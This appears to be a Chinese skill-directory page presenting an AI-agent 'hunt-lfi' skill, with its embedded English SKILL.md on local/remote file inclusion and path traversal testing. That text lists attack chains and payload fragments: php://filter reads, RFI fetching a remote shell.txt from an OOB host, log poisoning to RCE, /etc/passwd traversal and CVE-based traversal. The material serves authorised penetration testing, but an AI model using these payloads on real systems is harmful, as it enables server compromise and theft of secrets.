hunt-lfi
它能做什么
这项技能测试 Web 应用中的本地文件包含、远程文件包含和路径遍历问题。它适用于对根据用户输入加载文件的页面进行的经授权测试。
适用场景
- ✓当页面接受文件名或路径作为参数时。
- ✓当 PHP 网站根据用户输入包含文件时。
- ✓当你想检查服务器是否返回配置或密钥文件等敏感文件时。
技能链接
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-lfi/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的 PHP 页面接受 file 参数。请帮我在经授权的测试中检查,它能否读取其文件夹之外的文件。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会尝试路径遍历和 PHP 包装器技巧,然后检查服务器是否返回了请求的文件。它会报告敏感文件的读取,以及任何通往代码执行的途径。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
HUNT-LFI — Local / Remote File Inclusion & Path Traversal
Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.
Highest-value chains (in rough order of reliability in 2026):
- PHP filter-chain → RCE — the modern default. A bare
php://filterfile-read primitive is upgraded to RCE with no upload endpoint and no writable file by chainingiconvconversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. - Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by
open_basedirand unreadable log perms, so verify the log is readable first. - PHP wrappers → source disclosure —
php://filter/convert.base64-encode/resource=index.phpleaks source; read source to find more LFI sinks, secrets, and the include base path. - RFI → RCE — when
allow_url_include=On,?file=http://OOB/shell.txtpulls and executes remote code. Rare on modern configs but trivially Critical when present. - phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- zip:// / data:// chains and session/upload poisoning when filters block wrappers.
OOB / Blind-LFI Confirmation Gate (Read First)
LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.
What is NOT confirmation
- A different status code or error string for
../../etc/passwdvs a normal value. The app may be string-matching../and returning a canned 403/500 without ever touching the filesystem. - Your input echoed back inside an error message (e.g.
failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path. - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
What IS confirmation
- Direct read: actual file contents appear (real
root:x:0:0:line, real PHP source after base64-decoding the filter output). - Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an
expect:/// wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. - Blind read via differential/timing: include a file you know exists and is large (
/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
Default workflow
- Pick a unique marker target: prefer a file whose content you can fingerprint exactly (
/etc/passwd→ grep^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. - Generate a sub-tagged Collaborator payload per sink (
lfi-page.<collab>,lfi-tpl.<collab>) so callbacks identify which parameter fired. - Send, wait 30–120s, poll OOB.
- Claim LFI only after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.
Attack Surface Signals
URL / Body Parameters
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
Technology Stack Signals
| Signal | Vector |
|---|---|
PHP (X-Powered-By, .php, PHPSESSID) |
php:// filter-chain RCE, phar://, zip://, data:// |
| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |
Apache 2.4.49 / 2.4.50 (Server: banner) |
CVE-2021-41773 / CVE-2021-42013 traversal → RCE |
PHP-CGI on Windows (XAMPP, php-cgi.exe) |
CVE-2024-4577 arg-injection → RCE |
Java servlet (/WEB-INF/) |
WEB-INF/web.xml, classes/, application.properties |
| Pyth |
常见问题
什么是路径遍历?
指在路径中使用 ../ 序列,访问预定文件夹之外的文件。
什么是 PHP 过滤器链?
技能将其描述为一种可以把文件读取转化为代码执行、且无需上传文件的技术。
严重程度如何判断?
技能说明,读取 .env 等机密文件影响很大,而读取非敏感文件的影响较小。
详情
作者的原始描述
Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.
热度
- GitHub 星标
- 5.4k
- 排名
- #14919
- 许可证
- MIT
- 更新时间
- 2026/11/2
评论
- …
同一仓库的更多技能
apk-redteam-pipeline
5.4k帮你的智能体测试 Android 应用的安全弱点,从找到 APK 文件、反编译,到检查是否暴露了敏感信息。
bugcrowd-reporting
5.4k帮你的智能体撰写更好的 Bugcrowd 漏洞报告,选择正确的类别,并回应“超出范围”的异议。
cloud-iam-deep
5.4k帮你的智能体在经授权的安全测试中,检查找到的云凭据在 AWS、Azure 或 Google Cloud 上能访问哪些内容。
enterprise-vpn-attack
5.4k帮你的智能体在经授权的测试中,检查 Cisco、Fortinet、Citrix 等厂商 VPN 和远程访问设备是否存在已知弱点。